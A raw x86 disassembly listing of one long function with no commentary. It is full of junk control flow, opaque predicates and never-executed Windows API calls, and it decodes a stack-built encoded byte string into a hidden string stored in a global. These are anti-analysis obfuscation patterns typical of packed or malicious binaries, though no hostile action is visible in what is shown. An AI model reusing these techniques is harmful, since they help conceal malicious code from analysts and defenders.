mov dword [ebp - 0x28], 3
mov dword [ebp - 0x1b4], 6
mov dword [ebp - 0x2a8], 0x534a2c93
mov dword [ebp - 0x46c], 5
mov dword [ebp - 0x6c4], 0
mov dword [ebp - 0x28], 0xffffffee
jmp 0x41e6d9
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xb
jg 0x41e89d
mov dword [ebp - 0x298], 0
push 4
lea ecx, [ebp - 0x798]
call fcn.004013fc
mov dword [ebp - 0x464], 0xadd63529
mov dword [ebp - 0x280], 0x649bc00e
mov dword [ebp - 0x184], 0
jmp 0x41e727
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 4
jge 0x41e749
push dword [ebp - 0x184]
lea ecx, [ebp - 0x798]
call fcn.004014ea
mov dword [eax], 1
jmp 0x41e71a
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x868], eax
imul eax, dword [ebp - 0x28], 0x7473
test eax, eax
jb 0x41e772
cmp dword [ebp - 0x28], 0
je 0x41e772
mov dword [ebp - 0x454], 1
jmp 0x41e779
and dword [ebp - 0x454], 0
cmp dword [ebp - 0x454], 0xed89
jl 0x41e791
mov dword [ebp - 0x59c], 1
jmp 0x41e798
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x59c], eax
jl 0x41e7af
mov dword [ebp - 0x6bc], 1
jmp 0x41e7b6
and dword [ebp - 0x6bc], 0
cmp dword [ebp - 0x298], 0
je 0x41e7d2
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x41e7d2
mov dword [ebp - 0x45c], 1
jmp 0x41e7d9
and dword [ebp - 0x45c], 0
push 0
lea ecx, [ebp - 0x798]
call fcn.004014ea
mov ecx, dword [ebp - 0x45c]
cmp ecx, dword [eax]
jle 0x41e7fc
mov dword [ebp - 0x534], 1
jmp 0x41e803
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x298]
cmp dword [ebp - 0x464], eax
jle 0x41e829
mov dword [ebp - 0x5f0], 1
jmp 0x41e830
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x1b4]
sub eax, 0xfbb9
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xfbd10caa
je 0x41e865
mov dword [ebp - 0x774], 1
jmp 0x41e86c
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x2a8], eax
push 0
lea ecx, [ebp - 0x798]
call fcn.004014ea
mov eax, dword [eax]
mov dword [ebp - 0x280], eax
lea ecx, [ebp - 0x798]
call fcn.004014ce
jmp 0x41e6d2
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x46c], eax
jne 0x41e8c0
mov dword [ebp - 0x474], 1
jmp 0x41e8c7
and dword [ebp - 0x474], 0
xor eax, eax
jne 0x41e8e3
cmp dword [ebp - 0x46c], 0
jne 0x41e8e3
cmp dword [ebp - 0x28], 0
jne 0x41e8e3
and dword [ebp - 0x53c], 0
jmp 0x41e8ed
mov dword [ebp - 0x53c], 1
mov eax, dword [ebp - 0x53c]
add eax, 0x5bf784cd
jne 0x41e90c
mov eax, 0xc28
test eax, eax
jne 0x41e90c
and dword [ebp - 0x2e0], 0
jmp 0x41e916
mov dword [ebp - 0x2e0], 1
mov eax, dword [ebp - 0x474]
cmp eax, dword [ebp - 0x2e0]
jne 0x41e930
mov dword [ebp - 0x2e8], 1
jmp 0x41e937
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x2e8], eax
jl 0x41e949
cmp dword [ebp - 0x2a8], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x18c]
mov byte [ebp + eax - 0x814], 0
jmp 0x41e680
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 8], 1
mov dword [ebp - 0x8c], 0xa10b913a
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x428], 0xc388
mov dword [ebp - 0x198], 0
jmp 0x41e9b4
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jge 0x41e9cd
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x78], 0
jmp 0x41e9a7
cmp dword [ebp - 4], 0x1c03
jg 0x41e9e2
mov dword [ebp - 0x2f0], 1
jmp 0x41e9e9
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x2f0]
neg eax
jne 0x41ea22
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], eax
jge 0x41ea07
mov dword [ebp - 0x2f8], 1
jmp 0x41ea0e
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x2f8], eax
je 0x41ea22
and dword [ebp - 0x300], 0
jmp 0x41ea2c
mov dword [ebp - 0x300], 1
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x300], eax
jle 0x41ea43
mov dword [ebp - 0x308], 1
jmp 0x41ea4a
and dword [ebp - 0x308], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x308], eax
jne 0x41ea61
mov dword [ebp - 0x2b8], 1
jmp 0x41ea68
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x2b8], eax
jl 0x41ea7f
mov dword [ebp - 0x318], 1
jmp 0x41ea86
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x318]
jg 0x41ea9d
mov dword [ebp - 0x320], 1
jmp 0x41eaa4
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x320], eax
je 0x41eabe
cmp dword [ebp - 8], 0
jne 0x41eabe
and dword [ebp - 0x328], 0
jmp 0x41eac8
mov dword [ebp - 0x328], 1
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x328], eax
je 0x41eadf
mov dword [ebp - 0x330], 1
jmp 0x41eae6
and dword [ebp - 0x330], 0
cmp dword [ebp - 0x330], 9
jbe 0x41eafb
mov dword [ebp - 0x338], 1
jmp 0x41eb02
and dword [ebp - 0x338], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x338]
je 0x41eb19
mov dword [ebp - 0x340], 1
jmp 0x41eb20
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x340], eax
je 0x41ec7d
mov dword [ebp - 0xb0], 8
mov dword [ebp - 8], 6
jmp 0x41eb49
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x19
jg 0x41ec78
mov dword [ebp - 0x80], 5
cmp dword [ebp - 0x80], 0x6bae
jg 0x41eb78
cmp dword [ebp - 0xb0], 0
je 0x41eb78
mov dword [ebp - 0x348], 1
jmp 0x41eb7f
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x348]
add eax, 8
je 0x41eb91
cmp dword [ebp - 0xb0], 0
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0xb0]
jne 0x41ebb5
mov eax, 0xc73b0172
test eax, eax
je 0x41ebb5
mov dword [ebp - 0x350], 1
jmp 0x41ebbc
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x350]
imul eax, ecx
cmp eax, dword [ebp - 8]
jle 0x41ebdc
mov dword [ebp - 0x358], 1
jmp 0x41ebe3
and dword [ebp - 0x358], 0
mov eax, dword [ebp - 0x358]
mov dword [ebp - 4], eax
mov dword [ebp - 0xb0], 0
jmp 0x41ec05
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jl 0x41ec73
mov dword [ebp - 4], 0
jmp 0x41ec1e
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jg 0x41ec71
mov byte [ebp - 0xa3], 0
movzx eax, byte [ebp - 0xa3]
test eax, eax
je 0x41ec4c
push 0
push 0
push 0x98f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [ebp - 0x80], 0
jmp 0x41ec5c
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jg 0x41ec6f
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x78], 0
jmp 0x41ec55
jmp 0x41ec17
jmp 0x41ebf8
jmp 0x41eb42
jmp 0x41edb2
mov dword [ebp - 0x368], 0xfffffffb
mov dword [ebp - 8], 0
jmp 0x41ec97
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x41edb2
mov dword [ebp - 0x388], 0x3b36352b
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x78], 0
je 0x41eccb
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x78], 0
je 0x41eccb
mov dword [ebp - 0x360], 1
jmp 0x41ecd2
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x360]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x78]
cmp dword [ebp - 4], eax
jle 0x41ecf3
mov dword [ebp - 0x390], 1
jmp 0x41ecfa
and dword [ebp - 0x390], 0
cmp dword [ebp - 0x368], 0
je 0x41ed0a
cmp dword [ebp - 0x368], 0
cmp dword [ebp - 8], 0xcdf4
jge 0x41ed1f
mov dword [ebp - 0x370], 1
jmp 0x41ed26
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0xffffffff
je 0x41ed47
mov dword [ebp - 0x378], 1
jmp 0x41ed4e
and dword [ebp - 0x378], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
cmp eax, dword [ebp - 0x378]
jle 0x41ed6c
mov dword [ebp - 0x380], 1
jmp 0x41ed73
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x388], eax
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0x390], eax
jl 0x41ed99
mov dword [ebp - 0x398], 1
jmp 0x41eda0
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x398]
mov dword [ebp + eax*4 - 0x78], ecx
jmp 0x41ec90
cmp dword [ebp - 0x8c], 0
je 0x41ee88
mov eax, dword [ebp - 4]
mov dword [ebp - 0x988], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x78], 0
jne 0x41edf1
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0xf8], eax
jl 0x41ede8
xor eax, eax
inc eax
jne 0x41edf1
and dword [ebp - 0x3a0], 0
jmp 0x41edfb
mov dword [ebp - 0x3a0], 1
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
mov eax, dword [ebp - 0x754]
cmp eax, dword [ebp - 0x6cc]
jle 0x41ee3e
mov dword [ebp - 0x3a8], 1
jmp 0x41ee45
and dword [ebp - 0x3a8], 0
cmp dword [ebp - 0x3a8], 1
jg 0x41ee5a
mov dword [ebp - 0x3b0], 1
jmp 0x41ee61
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x428]
add eax, dword [ebp - 0x3b0]
cmp eax, dword [ebp - 8]
jl 0x41ee7e
mov dword [ebp - 0x3b8], 1
jmp 0x41ee85
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xf8], 0
jne 0x41ee9d
mov dword [ebp - 0x3c0], 1
jmp 0x41eea4
and dword [ebp - 0x3c0], 0
cmp dword [ebp - 0x3c0], 0x8a5c089a
ja 0x41eebc
mov dword [ebp - 0x76c], 1
jmp 0x41eec3
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x870], eax
cmp dword [ebp - 4], 0xffffffff
jl 0x41eede
mov dword [ebp - 0x3c8], 1
jmp 0x41eee5
and dword [ebp - 0x3c8], 0
cmp dword [ebp - 0x3c8], 0x63feea10
jne 0x41eefd
mov dword [ebp - 0x3d0], 1
jmp 0x41ef04
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x3d0], eax
jge 0x41ef1b
mov dword [ebp - 0x3d8], 1
jmp 0x41ef22
and dword [ebp - 0x3d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
cmp dword [ebp - 0x3d8], eax
je 0x41ef40
mov dword [ebp - 0x3e0], 1
jmp 0x41ef47
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x3e0], eax
jg 0x41ef74
mov byte [ebp - 0xa8], 0
movzx eax, byte [ebp - 0xa8]
test eax, eax
je 0x41ef6f
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x41f11c
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0x438], 0x66be38a
mov eax, 0x34c6454c
test eax, eax
je 0x41efa3
cmp dword [ebp - 8], 0
je 0x41efa3
mov dword [ebp - 0x3e8], 1
jmp 0x41efaa
and dword [ebp - 0x3e8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3e8]
mov dword [ebp + eax - 0x78], ecx
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x878], eax
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x10c], eax
jl 0x41efec
mov dword [ebp - 0x3f0], 1
jmp 0x41eff3
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x3f0]
jne 0x41f00d
mov dword [ebp - 0x3f8], 1
jmp 0x41f014
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x3f8]
jne 0x41f02b
mov dword [ebp - 0x6d4], 1
jmp 0x41f032
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0xf8], eax
jge 0x41f04c
mov dword [ebp - 0x400], 1
jmp 0x41f053
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x400]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
neg eax
je 0x41f078
mov eax, 0x53c5
test eax, eax
je 0x41f078
mov dword [ebp - 0x408], 1
jmp 0x41f07f
and dword [ebp - 0x408], 0
cmp dword [ebp - 0x408], 0x5585c014
jne 0x41f097
mov dword [ebp - 0x410], 1
jmp 0x41f09e
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x410], eax
jl 0x41f0b8
mov dword [ebp - 0x418], 1
jmp 0x41f0bf
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x418], eax
jg 0x41f0d9
mov dword [ebp - 0x420], 1
jmp 0x41f0e0
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
add eax, 3
cmp eax, dword [ebp - 0x428]
jle 0x41f0fd
mov dword [ebp - 0x430], 1
jmp 0x41f104
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x1a0], 0xfffffff6
mov dword [ebp - 0x194], 0
jmp 0x41f13f
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 1
jge 0x41f15b
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x990], 0x35568345
jmp 0x41f132
mov dword [ebp - 0x1a0], 0
jmp 0x41f174
mov eax, dword [ebp - 0x1a0]
dec eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jl 0x41f1e5
mov dword [ebp - 0x110], 0xa9831117
mov dword [ebp - 0x110], 0
jmp 0x41f1a0
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jg 0x41f1c7
mov byte [ebp - 0x9f], 0
movzx eax, byte [ebp - 0x9f]
test eax, eax
je 0x41f1c5
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
jmp 0x41f193
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x41f1e3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
jmp 0x41f167
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x41f1ff
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
mov dword [ebp - 0x114], 0x3b26bdde
mov dword [ebp - 0x880], 3
mov dword [ebp - 0x910], 0xf126c7f0
mov dword [ebp - 0x888], 0x63090707
mov dword [ebp - 0x114], 0
jmp 0x41f240
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x19
jne 0x41f3a5
mov dword [ebp - 0x11c], 1
push 4
lea ecx, [ebp - 0x7a4]
call fcn.004013fc
mov dword [ebp - 0x75c], 0x455f992d
mov dword [ebp - 0x6c], 0
jmp 0x41f27e
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x41f294
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xa2c], 0xfb6318d5
jmp 0x41f277
mov dword [ebp - 0x6c], 0
jmp 0x41f2a4
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x41f2c0
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x7a4]
call fcn.004014ea
mov dword [eax], 1
jmp 0x41f29d
mov dword [ebp - 0x11c], 0
jmp 0x41f2d9
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 1
jg 0x41f376
push 2
lea ecx, [ebp - 0x95c]
call fcn.004013fc
mov dword [ebp - 0x98c], 0xa2324015
mov dword [ebp - 0x124], 0
jmp 0x41f316
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 2
jge 0x41f338
push dword [ebp - 0x124]
lea ecx, [ebp - 0x95c]
call fcn.004014ea
mov dword [eax], 0x2215256e
jmp 0x41f309
mov dword [ebp - 0x75c], 1
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x41f366
push 0x1611
push 0x2641
push 0
call dword [sym.imp.USER32.dll_InflateRect]
lea ecx, [ebp - 0x95c]
call fcn.004014ce
jmp 0x41f2cc
push 0
lea ecx, [ebp - 0x7a4]
call fcn.004014ea
cmp dword [eax], 0
je 0x41f395
lea ecx, [ebp - 0x7a4]
call fcn.004014ce
jmp 0x41f3a5
lea ecx, [ebp - 0x7a4]
call fcn.004014ce
jmp 0x41f233
mov byte [ebp - 0x270], 2
mov byte [ebp - 0x26f], 0x66
mov byte [ebp - 0x26e], 0xb
mov byte [ebp - 0x26d], 0x76
mov byte [ebp - 0x26c], 9
mov byte [ebp - 0x26b], 0x68
mov byte [ebp - 0x26a], 0x16
mov byte [ebp - 0x269], 8
mov byte [ebp - 0x268], 0x17
mov byte [ebp - 0x267], 0x24
mov byte [ebp - 0x266], 0xbe
mov byte [ebp - 0x265], 0x61
mov byte [ebp - 0x264], 0x12
mov byte [ebp - 0x263], 0x60
mov byte [ebp - 0x262], 0xc7
mov byte [ebp - 0x261], 0x4f
mov byte [ebp - 0x260], 0x70
mov byte [ebp - 0x25f], 0xd
mov byte [ebp - 0x25e], 0xa6
mov byte [ebp - 0x25d], 0x40
mov byte [ebp - 0x25c], 0x38
mov byte [ebp - 0x25b], 0x2c
mov byte [ebp - 0x25a], 0x28
mov byte [ebp - 0x259], 0x5b
mov byte [ebp - 0x258], 0x3f
mov byte [ebp - 0x257], 0x4a
mov byte [ebp - 0x256], 0x75
mov byte [ebp - 0x255], 0xb9
mov byte [ebp - 0x254], 0xd
mov byte [ebp - 0x253], 0x5e
mov byte [ebp - 0x252], 8
mov byte [ebp - 0x251], 0x78
mov byte [ebp - 0x250], 6
mov byte [ebp - 0x24f], 0x5b
mov byte [ebp - 0x24e], 0xa
mov byte [ebp - 0x24d], 0x72
mov byte [ebp - 0x24c], 3
mov byte [ebp - 0x24b], 0x70
mov byte [ebp - 0x24a], 4
mov byte [ebp - 0x249], 0x85
mov byte [ebp - 0x248], 5
mov byte [ebp - 0x247], 0x78
mov byte [ebp - 0x246], 0xc
mov byte [ebp - 0x245], 0x88
mov byte [ebp - 0x244], 7
mov byte [ebp - 0x243], 0x89
mov byte [ebp - 0x242], 0
mov byte [ebp - 0x241], 0x5c
mov byte [ebp - 0x240], 1
mov byte [ebp - 0x23f], 0x8d
and dword [ebp - 0x74], 0
and dword [ebp - 0x440], 0
jmp 0x41f518
mov eax, dword [ebp - 0x74]
inc eax
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x32
jae 0x41f5a5
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x270]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x74], eax
jne 0x41f54e
mov dword [ebp - 0x440], 0x16
mov eax, dword [ebp - 0x74]
add eax, 0x14
mov dword [ebp - 0x74], eax
jmp 0x41f510
mov eax, dword [ebp - 0x74]
movzx eax, byte [ebp + eax - 0x26f]
sub eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x440]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jge 0x41f588
mov eax, dword [ebp - 0x12c]
add eax, 0x100
mov dword [ebp - 0x12c], eax
jmp 0x41f56c
mov eax, dword [ebp - 0x74]
movzx eax, byte [ebp + eax - 0x270]
mov cl, byte [ebp - 0x12c]
mov byte [ebp + eax - 0x824], cl
jmp 0x41f510
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x824], 0
mov dword [ebp - 0x890], 0xc6a53d06
mov dword [ebp - 0x920], 0x16df251d
mov dword [ebp - 0x898], 0xfffffffb
mov dword [ebp - 0x9b4], 0x82a1836c
push 1
lea ecx, [ebp - 0x96c]
call fcn.004013fc
mov dword [ebp - 0xcc], 0xc03809d0
mov dword [ebp - 0x4c], 0
jmp 0x41f602
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x41f61e
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x96c]
call fcn.004014ea
mov dword [eax], 1
jmp 0x41f5fb
mov dword [ebp - 0x4c], 0
jmp 0x41f62e
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x41f644
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xa68], 0xffffffff
jmp 0x41f627
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xcc], 0
jmp 0x41f66a
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x27
jne 0x41f6c5
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x41f691
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x41f6c3
push 0
push 0x16a9
push 0x1449
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
jmp 0x41f65d
lea ecx, [ebp - 0x96c]
call fcn.004014ce
lea eax, [ebp - 0x824]
push eax
lea ecx, [ebp - 0xa80]
call fcn.00421879
mov edx, dword [ebp - 0x448]
mov ecx, eax
call fcn.00401bd6
mov dword [0xa77abc], eax
lea ecx, [ebp - 0xa80]
call fcn.0042189c
mov dword [ebp - 0x24], 0xde19d29b
push 4
lea ecx, [ebp - 0x634]
call fcn.004013fc
mov dword [ebp - 0x100], 0xc72b752b
mov dword [ebp - 0x10], 0
jmp 0x41f72d
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x41f743
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5ec], 2
jmp 0x41f726
mov dword [ebp - 0x10], 0
jmp 0x41f753
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x41f769
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7d0], 1
jmp 0x41f74c
mov dword [ebp - 0x10], 0
jmp 0x41f779
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x41f795
push dword [ebp - 0x10]
lea ecx, [ebp - 0x634]
call fcn.004014ea
mov dword [eax], 0xfffffffb
jmp 0x41f772
mov byte [ebp - 0xa6], 0
movzx eax, byte [ebp - 0xa6]
test eax, eax
je 0x41f7b9
push 0xdc0
push 0x2044
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov dword [ebp - 0x24], 2
jmp 0x41f7c9
cmp dword [ebp - 0x24], 0
jl 0x41fa1c
mov dword [ebp - 0x450], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x5ec]
mov dword [ebp - 0x8a0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5ec]
mov dword [ebp - 0x930], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7d0]
mov dword [ebp - 0x8a8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7d0], 0xb5d1cb6a
jb 0x41f837
xor eax, eax
inc eax
je 0x41f837
mov dword [ebp - 0x6dc], 1
jmp 0x41f83e
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x5ec], 0
je 0x41f879
push 3
lea ecx, [ebp - 0x634]
call fcn.004014ea
cmp dword [eax], 0
je 0x41f879
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7d0], 0
je 0x41f879
mov dword [ebp - 0x458], 1
jmp 0x41f880
and dword [ebp - 0x458], 0
mov dword [ebp - 0x450], 0x7ccc8959
mov eax, dword [ebp - 0x450]
sub eax, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x24]
cmp eax, dword [ebp + ecx*4 - 0x5ec]
jg 0x41f8ae
mov dword [ebp - 0x460], 1
jmp 0x41f8b5
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x5ec]
cmp dword [ebp - 0x460], eax
jle 0x41f8d3
mov dword [ebp - 0x468], 1
jmp 0x41f8da
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x468], eax
jg 0x41f8f1
mov dword [ebp - 0x470], 1
jmp 0x41f8f8
and dword [ebp - 0x470], 0
mov esi, dword [ebp - 0x470]
sub esi, 6
push 3
lea ecx, [ebp - 0x634]
call fcn.004014ea
imul esi, dword [eax]
cmp esi, dword [ebp - 0x24]
jl 0x41f922
mov dword [ebp - 0x478], 1
jmp 0x41f929
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x5ec]
cmp eax, dword [ebp - 0x478]
jg 0x41f947
mov dword [ebp - 0x480], 1
jmp 0x41f94e
and dword [ebp - 0x480], 0
push 3
lea ecx, [ebp - 0x634]
call fcn.004014ea
mov ecx, dword [ebp - 0x480]
cmp ecx, dword [eax]
jl 0x41f971
mov dword [ebp - 0x488], 1
jmp 0x41f978
and dword [ebp - 0x488], 0
push 3
lea ecx, [ebp - 0x634]
call fcn.004014ea
mov ecx, dword [ebp - 0x488]
cmp ecx, dword [eax]
jle 0x41f9a3
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x5ec]
mov dword [ebp - 0x100], eax
jmp 0x41fa05
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x41f9bd
lea ecx, [ebp - 0x634]
call fcn.004014ce
and dword [ebp - 0x134], 0
jmp 0x41fa3d
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xf
jae 0x41fa56
mov eax, dword [ebp - 0x134]
mov byte [ebp + eax - 0x824], 0
jmp 0x41fa30
mov dword [ebp - 0x994], 0xfd41e559
mov byte [ebp - 0xa7], 0
movzx eax, byte [ebp - 0xa7]
test eax, eax
je 0x41fa7e
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
